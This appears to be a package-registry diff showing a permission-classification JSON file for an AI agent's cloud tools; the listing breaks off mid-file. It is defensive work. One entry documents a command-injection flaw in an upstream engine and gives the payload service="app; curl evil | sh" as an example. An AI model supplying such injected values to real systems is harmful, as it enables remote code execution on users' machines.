@dzhechkov/cloudru-hub 0.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.dz-manifest.json +105 -0
- package/CHANGELOG.md +130 -0
- package/LICENSE +67 -0
- package/README.md +131 -0
- package/THIRD_PARTY_NOTICES.md +56 -0
- package/bin/cloudru-hub.js +8 -0
- package/data/dialects.json +73 -0
- package/data/pointer-section.md +22 -0
- package/data/tools-classification.json +732 -0
- package/data/tools-list-snapshot.json +585 -0
- package/docs/LOCAL-TESTING.md +77 -0
- package/package.json +67 -0
- package/sbom.json +253 -0
- package/src/classification.js +66 -0
- package/src/cli.js +174 -0
- package/src/dialects.js +172 -0
- package/src/install.js +252 -0
- package/src/resolve.js +101 -0
- package/templates/.claude/hooks/cloudru-ssh-guard.cjs +80 -0
- package/test/classification.test.mjs +151 -0
- package/test/dialects.test.mjs +314 -0
- package/test/hook.test.mjs +67 -0
- package/test/install.test.mjs +145 -0
- package/test/mutation-registry.json +135 -0
- package/test/pack-holds.test.mjs +96 -0
- package/test/resolve.test.mjs +81 -0
|
@@ -0,0 +1,732 @@
|
|
|
1
|
+
{
|
|
2
|
+
"$comment": "Golden classification of every cloudru-vm engine tool -> permission action. METHOD (corrected 2026-08-10): permission=allow requires a BEHAVIOUR audit of the tool's engine handler (read the handle* in engine/internal/mcp at pinned baseline engineSha256) proving it passes BOTH hazard axes. AXIS 1 (read-only): genuinely read-only — no persistent state write (except a LOCAL plan file, noted per-entry), no downstream s.callTool, no job advancement, no secret material returned. AXIS 2 (SHELL-REACH, added AM-2 2026-08-10, cross-model QE HIGH): the handler does NOT pass any user-controlled argument into a shell/exec/SSH command (Deployer.Exec, session.CombinedOutput, a string-concatenated `docker …/kubectl …/compose …` command, or exec.Command). A tool that reaches a shell with a user arg is `ask` at MINIMUM — the brake can only set the permission, it CANNOT escape the arg (that is the engine's bug, not something the classifier can fix). The former shape heuristic ('no confirmed prop in schema => read-only') was FALSE-SAFE: stack_status had no confirmed prop yet advances jobs and invokes paid create tools (AXIS 1); `logs` was `allow` yet concatenates its user `service` arg RAW into a remote `docker compose logs <service>` over SSH — a command-injection/RCE path (AXIS 2, engine/logs.go:61 → ssh.go:117). Schema shape (confirmed prop) remains sufficient evidence for ask, never for allow. ENGINE INJECTION FLAGGED to the author (licence-blocked, NOT fixed here — see ADR-004 AM-2): the engine must shell-escape opts.Service and audit every `cmd +=` concatenation. Re-audit of ALL current allow tools against AXIS 2 found `logs` the ONLY shell-reaching allow tool; every other shell site (vm_exec, deploy, deploy_apply/captainkeys, k8s_kubectl/k8s_apply/k8s_helm) is already ask, and k8s_kubectl is additionally veto-hooked. Reclassifying a tool must show up in this diff (ADR-010 golden-snapshot discipline). A tool present in a live tools/list but absent here MUST fail the drift test — deny-by-default.",
|
|
3
|
+
"engineSha256": "59f83fc0678b95146ca539764d0c805bd2514b8588f198c1e835b26e54c05124",
|
|
4
|
+
"toolCount": 144,
|
|
5
|
+
"counts": {
|
|
6
|
+
"ask": 65,
|
|
7
|
+
"deny": 2,
|
|
8
|
+
"allow": 77
|
|
9
|
+
},
|
|
10
|
+
"tools": {
|
|
11
|
+
"deploy": {
|
|
12
|
+
"effect": "mutating",
|
|
13
|
+
"permission": "ask",
|
|
14
|
+
"why": "mutating WITHOUT engine gate — MEASURED 05 §2.2 / ADR-004 Context"
|
|
15
|
+
},
|
|
16
|
+
"provision": {
|
|
17
|
+
"effect": "mutating",
|
|
18
|
+
"permission": "ask",
|
|
19
|
+
"why": "mutating WITHOUT engine gate — MEASURED 05 §2.2 / ADR-004 Context"
|
|
20
|
+
},
|
|
21
|
+
"status": {
|
|
22
|
+
"effect": "read-only",
|
|
23
|
+
"permission": "allow",
|
|
24
|
+
"why": "behaviour-audited read-only: handleStatus (tools.go:1720) reads the LOCAL state file (state.Read) — no cloud call, no state write, no downstream tool call."
|
|
25
|
+
},
|
|
26
|
+
"list": {
|
|
27
|
+
"effect": "read-only",
|
|
28
|
+
"permission": "allow",
|
|
29
|
+
"why": "behaviour-audited read-only: handleList (tools.go:1736) reads the LOCAL state file — no cloud call, no state write, no downstream tool call."
|
|
30
|
+
},
|
|
31
|
+
"vm_list": {
|
|
32
|
+
"effect": "read-only",
|
|
33
|
+
"permission": "allow",
|
|
34
|
+
"why": "behaviour-audited read-only: handleVMList (tools_vmexec.go:111) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
35
|
+
},
|
|
36
|
+
"vm_exec": {
|
|
37
|
+
"effect": "mutating",
|
|
38
|
+
"permission": "ask",
|
|
39
|
+
"why": "mutating WITHOUT engine gate — MEASURED 05 §2.2 / ADR-004 Context"
|
|
40
|
+
},
|
|
41
|
+
"vm_get": {
|
|
42
|
+
"effect": "read-only",
|
|
43
|
+
"permission": "allow",
|
|
44
|
+
"why": "behaviour-audited read-only: handleVMGet (tools_vm.go:23) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
45
|
+
},
|
|
46
|
+
"logs": {
|
|
47
|
+
"effect": "shell-reach",
|
|
48
|
+
"permission": "ask",
|
|
49
|
+
"why": "RECLASSIFIED allow→ask 2026-08-10 (AM-2, shell-reach hazard axis, cross-model QE HIGH): NOT read-only in the safe sense. handleLogs (tools.go:1758) passes the user-controlled `service` arg into engine.Logs, which CONCATENATES it RAW/unescaped into a remote shell command — `cmd += \" \" + opts.Service` (engine/logs.go:61) → e.Deployer.Exec (logs.go:64) → SSH session.CombinedOutput (internal/deploy/ssh.go:117). So service=\"app; curl evil | sh\" executes arbitrary commands on the user's VM: a command-injection/RCE path behind a silent allow, defeating the ADR-004 brake for an autonomous agent with cloud creds. The permission layer can only PROMPT; it cannot escape the arg (that is the engine's bug — flagged ADR-004 AM-2, licence-blocked). The prior audit's claim of a \"FIXED docker compose logs\" was WRONG: the command is NOT fixed."
|
|
50
|
+
},
|
|
51
|
+
"destroy": {
|
|
52
|
+
"effect": "mutating",
|
|
53
|
+
"permission": "ask",
|
|
54
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
55
|
+
},
|
|
56
|
+
"list_zones": {
|
|
57
|
+
"effect": "read-only",
|
|
58
|
+
"permission": "allow",
|
|
59
|
+
"why": "behaviour-audited read-only: handleListZones (tools.go:1871) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
60
|
+
},
|
|
61
|
+
"list_images": {
|
|
62
|
+
"effect": "read-only",
|
|
63
|
+
"permission": "allow",
|
|
64
|
+
"why": "behaviour-audited read-only: handleListImages (tools.go:1889) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
65
|
+
},
|
|
66
|
+
"deploy_plan": {
|
|
67
|
+
"effect": "read-only",
|
|
68
|
+
"permission": "allow",
|
|
69
|
+
"why": "behaviour-audited: creates NO cloud resource — handleDeployPlan (tools_deploy.go:49) resolves via read-only lookups (deployplan.Resolve) and persists a LOCAL plan file (deployplan.Save); consumed only by ask-gated deploy_apply."
|
|
70
|
+
},
|
|
71
|
+
"deploy_apply": {
|
|
72
|
+
"effect": "mutating",
|
|
73
|
+
"permission": "ask",
|
|
74
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
75
|
+
},
|
|
76
|
+
"list_flavors": {
|
|
77
|
+
"effect": "read-only",
|
|
78
|
+
"permission": "allow",
|
|
79
|
+
"why": "behaviour-audited read-only: handleListFlavors (tools_deploy.go:230) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
80
|
+
},
|
|
81
|
+
"list_disk_types": {
|
|
82
|
+
"effect": "read-only",
|
|
83
|
+
"permission": "allow",
|
|
84
|
+
"why": "behaviour-audited read-only: handleListDiskTypes (tools_deploy.go:257) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
85
|
+
},
|
|
86
|
+
"list_subnets": {
|
|
87
|
+
"effect": "read-only",
|
|
88
|
+
"permission": "allow",
|
|
89
|
+
"why": "behaviour-audited read-only: handleListSubnets (tools_deploy.go:274) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
90
|
+
},
|
|
91
|
+
"list_security_groups": {
|
|
92
|
+
"effect": "read-only",
|
|
93
|
+
"permission": "allow",
|
|
94
|
+
"why": "behaviour-audited read-only: handleListSecurityGroups (tools_deploy.go:291) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
95
|
+
},
|
|
96
|
+
"list_floating_ips": {
|
|
97
|
+
"effect": "read-only",
|
|
98
|
+
"permission": "allow",
|
|
99
|
+
"why": "behaviour-audited read-only: handleListFloatingIPs (tools_deploy.go:482) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
100
|
+
},
|
|
101
|
+
"open_ports": {
|
|
102
|
+
"effect": "mutating",
|
|
103
|
+
"permission": "ask",
|
|
104
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
105
|
+
},
|
|
106
|
+
"k8s_list": {
|
|
107
|
+
"effect": "read-only",
|
|
108
|
+
"permission": "allow",
|
|
109
|
+
"why": "behaviour-audited read-only: handleK8sList (tools_k8s.go:63) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
110
|
+
},
|
|
111
|
+
"k8s_get": {
|
|
112
|
+
"effect": "read-only",
|
|
113
|
+
"permission": "allow",
|
|
114
|
+
"why": "behaviour-audited read-only: handleK8sGet (tools_k8s.go:80) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
115
|
+
},
|
|
116
|
+
"k8s_options": {
|
|
117
|
+
"effect": "read-only",
|
|
118
|
+
"permission": "allow",
|
|
119
|
+
"why": "behaviour-audited read-only: handleK8sOptions (tools_k8s.go:97) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
120
|
+
},
|
|
121
|
+
"k8s_plan": {
|
|
122
|
+
"effect": "read-only",
|
|
123
|
+
"permission": "allow",
|
|
124
|
+
"why": "behaviour-audited read-only: handleK8sPlan (tools_k8s.go:260) is a pure preview — resolveK8sPlan builds the CreateClusterReq but nothing is created or saved; creation lives in ask-gated k8s_create."
|
|
125
|
+
},
|
|
126
|
+
"k8s_create": {
|
|
127
|
+
"effect": "mutating",
|
|
128
|
+
"permission": "ask",
|
|
129
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
130
|
+
},
|
|
131
|
+
"k8s_kubeconfig": {
|
|
132
|
+
"effect": "sensitive-read",
|
|
133
|
+
"permission": "ask",
|
|
134
|
+
"why": "emits cluster-admin credentials; stricter than ADR-004 (which is silent) — safe direction"
|
|
135
|
+
},
|
|
136
|
+
"k8s_delete": {
|
|
137
|
+
"effect": "mutating",
|
|
138
|
+
"permission": "ask",
|
|
139
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
140
|
+
},
|
|
141
|
+
"k8s_nodepools": {
|
|
142
|
+
"effect": "read-only",
|
|
143
|
+
"permission": "allow",
|
|
144
|
+
"why": "behaviour-audited read-only: handleK8sNodePools (tools_k8s.go:385) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
145
|
+
},
|
|
146
|
+
"k8s_add_nodepool": {
|
|
147
|
+
"effect": "mutating",
|
|
148
|
+
"permission": "ask",
|
|
149
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
150
|
+
},
|
|
151
|
+
"k8s_kubectl": {
|
|
152
|
+
"effect": "mutating",
|
|
153
|
+
"permission": "ask",
|
|
154
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
155
|
+
},
|
|
156
|
+
"k8s_apply": {
|
|
157
|
+
"effect": "mutating",
|
|
158
|
+
"permission": "ask",
|
|
159
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
160
|
+
},
|
|
161
|
+
"k8s_helm": {
|
|
162
|
+
"effect": "mutating",
|
|
163
|
+
"permission": "ask",
|
|
164
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
165
|
+
},
|
|
166
|
+
"disk_list": {
|
|
167
|
+
"effect": "read-only",
|
|
168
|
+
"permission": "allow",
|
|
169
|
+
"why": "behaviour-audited read-only: handleDiskList (tools_disk.go:35) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
170
|
+
},
|
|
171
|
+
"disk_create": {
|
|
172
|
+
"effect": "mutating",
|
|
173
|
+
"permission": "ask",
|
|
174
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
175
|
+
},
|
|
176
|
+
"disk_attach": {
|
|
177
|
+
"effect": "mutating",
|
|
178
|
+
"permission": "ask",
|
|
179
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
180
|
+
},
|
|
181
|
+
"disk_detach": {
|
|
182
|
+
"effect": "mutating",
|
|
183
|
+
"permission": "ask",
|
|
184
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
185
|
+
},
|
|
186
|
+
"disk_resize": {
|
|
187
|
+
"effect": "mutating",
|
|
188
|
+
"permission": "ask",
|
|
189
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
190
|
+
},
|
|
191
|
+
"disk_delete": {
|
|
192
|
+
"effect": "mutating",
|
|
193
|
+
"permission": "ask",
|
|
194
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
195
|
+
},
|
|
196
|
+
"ca_list": {
|
|
197
|
+
"effect": "read-only",
|
|
198
|
+
"permission": "allow",
|
|
199
|
+
"why": "behaviour-audited read-only: handleCaList (tools_ca.go:23) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
200
|
+
},
|
|
201
|
+
"ca_get": {
|
|
202
|
+
"effect": "read-only",
|
|
203
|
+
"permission": "allow",
|
|
204
|
+
"why": "behaviour-audited read-only: handleCaGet (tools_ca.go:39) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
205
|
+
},
|
|
206
|
+
"ca_deploy": {
|
|
207
|
+
"effect": "mutating",
|
|
208
|
+
"permission": "ask",
|
|
209
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
210
|
+
},
|
|
211
|
+
"ca_delete": {
|
|
212
|
+
"effect": "mutating",
|
|
213
|
+
"permission": "ask",
|
|
214
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
215
|
+
},
|
|
216
|
+
"ca_logs": {
|
|
217
|
+
"effect": "read-only",
|
|
218
|
+
"permission": "allow",
|
|
219
|
+
"why": "behaviour-audited read-only: handleCaLogs (tools_ca.go:153) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
220
|
+
},
|
|
221
|
+
"ca_start": {
|
|
222
|
+
"effect": "mutating",
|
|
223
|
+
"permission": "ask",
|
|
224
|
+
"why": "mutating WITHOUT engine gate — MEASURED 05 §2.2 / ADR-004 Context"
|
|
225
|
+
},
|
|
226
|
+
"ca_stop": {
|
|
227
|
+
"effect": "mutating",
|
|
228
|
+
"permission": "ask",
|
|
229
|
+
"why": "mutating WITHOUT engine gate — MEASURED 05 §2.2 / ADR-004 Context"
|
|
230
|
+
},
|
|
231
|
+
"iam_service_accounts": {
|
|
232
|
+
"effect": "read-only",
|
|
233
|
+
"permission": "allow",
|
|
234
|
+
"why": "behaviour-audited read-only: handleIamServiceAccounts (tools_admin.go:59) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
235
|
+
},
|
|
236
|
+
"org_projects": {
|
|
237
|
+
"effect": "read-only",
|
|
238
|
+
"permission": "allow",
|
|
239
|
+
"why": "behaviour-audited read-only: handleOrgProjects (tools_admin.go:81) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
240
|
+
},
|
|
241
|
+
"org_quotas": {
|
|
242
|
+
"effect": "read-only",
|
|
243
|
+
"permission": "allow",
|
|
244
|
+
"why": "behaviour-audited read-only: handleOrgQuotas (tools_admin.go:103) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
245
|
+
},
|
|
246
|
+
"release_floating_ip": {
|
|
247
|
+
"effect": "mutating",
|
|
248
|
+
"permission": "ask",
|
|
249
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
250
|
+
},
|
|
251
|
+
"snat_list": {
|
|
252
|
+
"effect": "read-only",
|
|
253
|
+
"permission": "allow",
|
|
254
|
+
"why": "behaviour-audited read-only: handleSnatList (tools_snat.go:43) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
255
|
+
},
|
|
256
|
+
"snat_create": {
|
|
257
|
+
"effect": "mutating",
|
|
258
|
+
"permission": "ask",
|
|
259
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
260
|
+
},
|
|
261
|
+
"snat_delete": {
|
|
262
|
+
"effect": "mutating",
|
|
263
|
+
"permission": "ask",
|
|
264
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
265
|
+
},
|
|
266
|
+
"pg_list": {
|
|
267
|
+
"effect": "read-only",
|
|
268
|
+
"permission": "allow",
|
|
269
|
+
"why": "behaviour-audited read-only: handlePgList (tools_pg.go:107) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
270
|
+
},
|
|
271
|
+
"pg_get": {
|
|
272
|
+
"effect": "read-only",
|
|
273
|
+
"permission": "allow",
|
|
274
|
+
"why": "behaviour-audited read-only: handlePgGet (tools_pg.go:129) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
275
|
+
},
|
|
276
|
+
"pg_versions": {
|
|
277
|
+
"effect": "read-only",
|
|
278
|
+
"permission": "allow",
|
|
279
|
+
"why": "behaviour-audited read-only: handlePgVersions (tools_pg.go:150) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
280
|
+
},
|
|
281
|
+
"pg_specs": {
|
|
282
|
+
"effect": "read-only",
|
|
283
|
+
"permission": "allow",
|
|
284
|
+
"why": "behaviour-audited read-only: handlePgSpecs (tools_pg.go:162) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
285
|
+
},
|
|
286
|
+
"pg_create": {
|
|
287
|
+
"effect": "mutating",
|
|
288
|
+
"permission": "ask",
|
|
289
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
290
|
+
},
|
|
291
|
+
"pg_delete": {
|
|
292
|
+
"effect": "mutating",
|
|
293
|
+
"permission": "ask",
|
|
294
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
295
|
+
},
|
|
296
|
+
"pg_operation": {
|
|
297
|
+
"effect": "read-only",
|
|
298
|
+
"permission": "allow",
|
|
299
|
+
"why": "behaviour-audited read-only: handlePgOperation (tools_pg.go:212) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
300
|
+
},
|
|
301
|
+
"kafka_list": {
|
|
302
|
+
"effect": "read-only",
|
|
303
|
+
"permission": "allow",
|
|
304
|
+
"why": "behaviour-audited read-only: handleKafkaList (tools_kafka.go:86) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
305
|
+
},
|
|
306
|
+
"kafka_get": {
|
|
307
|
+
"effect": "read-only",
|
|
308
|
+
"permission": "allow",
|
|
309
|
+
"why": "behaviour-audited read-only: handleKafkaGet (tools_kafka.go:105) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
310
|
+
},
|
|
311
|
+
"kafka_versions": {
|
|
312
|
+
"effect": "read-only",
|
|
313
|
+
"permission": "allow",
|
|
314
|
+
"why": "behaviour-audited read-only: handleKafkaVersions (tools_kafka.go:121) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
315
|
+
},
|
|
316
|
+
"kafka_specs": {
|
|
317
|
+
"effect": "read-only",
|
|
318
|
+
"permission": "allow",
|
|
319
|
+
"why": "behaviour-audited read-only: handleKafkaSpecs (tools_kafka.go:133) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
320
|
+
},
|
|
321
|
+
"kafka_create": {
|
|
322
|
+
"effect": "mutating",
|
|
323
|
+
"permission": "ask",
|
|
324
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
325
|
+
},
|
|
326
|
+
"kafka_delete": {
|
|
327
|
+
"effect": "mutating",
|
|
328
|
+
"permission": "ask",
|
|
329
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
330
|
+
},
|
|
331
|
+
"kafka_operation": {
|
|
332
|
+
"effect": "read-only",
|
|
333
|
+
"permission": "allow",
|
|
334
|
+
"why": "behaviour-audited read-only: handleKafkaOperation (tools_kafka.go:263) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
335
|
+
},
|
|
336
|
+
"redis_list": {
|
|
337
|
+
"effect": "read-only",
|
|
338
|
+
"permission": "allow",
|
|
339
|
+
"why": "behaviour-audited read-only: handleRedisList (tools_redis.go:27) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
340
|
+
},
|
|
341
|
+
"redis_get": {
|
|
342
|
+
"effect": "read-only",
|
|
343
|
+
"permission": "allow",
|
|
344
|
+
"why": "behaviour-audited read-only: handleRedisGet (tools_redis.go:46) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
345
|
+
},
|
|
346
|
+
"redis_versions": {
|
|
347
|
+
"effect": "read-only",
|
|
348
|
+
"permission": "allow",
|
|
349
|
+
"why": "behaviour-audited read-only: handleRedisVersions (tools_redis.go:62) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
350
|
+
},
|
|
351
|
+
"redis_specs": {
|
|
352
|
+
"effect": "read-only",
|
|
353
|
+
"permission": "allow",
|
|
354
|
+
"why": "behaviour-audited read-only: handleRedisSpecs (tools_redis.go:74) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
355
|
+
},
|
|
356
|
+
"redis_create": {
|
|
357
|
+
"effect": "mutating",
|
|
358
|
+
"permission": "ask",
|
|
359
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
360
|
+
},
|
|
361
|
+
"redis_delete": {
|
|
362
|
+
"effect": "mutating",
|
|
363
|
+
"permission": "ask",
|
|
364
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
365
|
+
},
|
|
366
|
+
"redis_operation": {
|
|
367
|
+
"effect": "read-only",
|
|
368
|
+
"permission": "allow",
|
|
369
|
+
"why": "behaviour-audited read-only: handleRedisOperation (tools_redis.go:237) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
370
|
+
},
|
|
371
|
+
"pg_databases": {
|
|
372
|
+
"effect": "read-only",
|
|
373
|
+
"permission": "allow",
|
|
374
|
+
"why": "behaviour-audited read-only: handlePgDatabases (tools_pg.go:459) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
375
|
+
},
|
|
376
|
+
"pg_db_create": {
|
|
377
|
+
"effect": "mutating",
|
|
378
|
+
"permission": "ask",
|
|
379
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
380
|
+
},
|
|
381
|
+
"pg_db_delete": {
|
|
382
|
+
"effect": "mutating",
|
|
383
|
+
"permission": "ask",
|
|
384
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
385
|
+
},
|
|
386
|
+
"pg_users": {
|
|
387
|
+
"effect": "read-only",
|
|
388
|
+
"permission": "allow",
|
|
389
|
+
"why": "behaviour-audited read-only: handlePgUsers (tools_pg.go:524) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
390
|
+
},
|
|
391
|
+
"pg_user_create": {
|
|
392
|
+
"effect": "mutating",
|
|
393
|
+
"permission": "ask",
|
|
394
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
395
|
+
},
|
|
396
|
+
"pg_user_delete": {
|
|
397
|
+
"effect": "mutating",
|
|
398
|
+
"permission": "ask",
|
|
399
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
400
|
+
},
|
|
401
|
+
"pg_backups": {
|
|
402
|
+
"effect": "read-only",
|
|
403
|
+
"permission": "allow",
|
|
404
|
+
"why": "behaviour-audited read-only: handlePgBackups (tools_pg.go:584) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
405
|
+
},
|
|
406
|
+
"pg_backup_create": {
|
|
407
|
+
"effect": "mutating",
|
|
408
|
+
"permission": "ask",
|
|
409
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
410
|
+
},
|
|
411
|
+
"lb_list": {
|
|
412
|
+
"effect": "read-only",
|
|
413
|
+
"permission": "allow",
|
|
414
|
+
"why": "behaviour-audited read-only: handleLbList (tools_nlb.go:52) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
415
|
+
},
|
|
416
|
+
"lb_get": {
|
|
417
|
+
"effect": "read-only",
|
|
418
|
+
"permission": "allow",
|
|
419
|
+
"why": "behaviour-audited read-only: handleLbGet (tools_nlb.go:72) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
420
|
+
},
|
|
421
|
+
"lb_operation": {
|
|
422
|
+
"effect": "read-only",
|
|
423
|
+
"permission": "allow",
|
|
424
|
+
"why": "behaviour-audited read-only: handleLbOperation (tools_nlb.go:88) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
425
|
+
},
|
|
426
|
+
"tg_list": {
|
|
427
|
+
"effect": "read-only",
|
|
428
|
+
"permission": "allow",
|
|
429
|
+
"why": "behaviour-audited read-only: handleTgList (tools_nlb.go:119) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
430
|
+
},
|
|
431
|
+
"tg_get": {
|
|
432
|
+
"effect": "read-only",
|
|
433
|
+
"permission": "allow",
|
|
434
|
+
"why": "behaviour-audited read-only: handleTgGet (tools_nlb.go:135) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
435
|
+
},
|
|
436
|
+
"tg_create": {
|
|
437
|
+
"effect": "mutating",
|
|
438
|
+
"permission": "ask",
|
|
439
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
440
|
+
},
|
|
441
|
+
"tg_delete": {
|
|
442
|
+
"effect": "mutating",
|
|
443
|
+
"permission": "ask",
|
|
444
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
445
|
+
},
|
|
446
|
+
"lb_create": {
|
|
447
|
+
"effect": "mutating",
|
|
448
|
+
"permission": "ask",
|
|
449
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
450
|
+
},
|
|
451
|
+
"lb_delete": {
|
|
452
|
+
"effect": "mutating",
|
|
453
|
+
"permission": "ask",
|
|
454
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
455
|
+
},
|
|
456
|
+
"vpc_list": {
|
|
457
|
+
"effect": "read-only",
|
|
458
|
+
"permission": "allow",
|
|
459
|
+
"why": "behaviour-audited read-only: handleVpcList (tools_vpc.go:25) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
460
|
+
},
|
|
461
|
+
"vpc_get": {
|
|
462
|
+
"effect": "read-only",
|
|
463
|
+
"permission": "allow",
|
|
464
|
+
"why": "behaviour-audited read-only: handleVpcGet (tools_vpc.go:41) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
465
|
+
},
|
|
466
|
+
"vpc_create": {
|
|
467
|
+
"effect": "mutating",
|
|
468
|
+
"permission": "ask",
|
|
469
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
470
|
+
},
|
|
471
|
+
"vpc_delete": {
|
|
472
|
+
"effect": "mutating",
|
|
473
|
+
"permission": "ask",
|
|
474
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
475
|
+
},
|
|
476
|
+
"vpc_operation": {
|
|
477
|
+
"effect": "read-only",
|
|
478
|
+
"permission": "allow",
|
|
479
|
+
"why": "behaviour-audited read-only: handleVpcOperation (tools_vpc.go:104) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
480
|
+
},
|
|
481
|
+
"vpc_routes": {
|
|
482
|
+
"effect": "read-only",
|
|
483
|
+
"permission": "allow",
|
|
484
|
+
"why": "behaviour-audited read-only: handleVpcRoutes (tools_vpc.go:135) makes only read/list/get client calls — no state write, no downstream tool call, no job advancement."
|
|
485
|
+
},
|
|
486
|
+
"vpc_route_create": {
|
|
487
|
+
"effect": "mutating",
|
|
488
|
+
"permission": "ask",
|
|
489
|
+
"why": "engine schema declares confirmed prop (gated upstream; belt-plus-braces per ADR-004 §3)"
|
|
490
|
+
},
|
|
491
|
+
"vpc_route_delete": {
|
|
492
|
+
"effect": "mutating",
|
|
493
|
+
"permission": "ask",
|
|
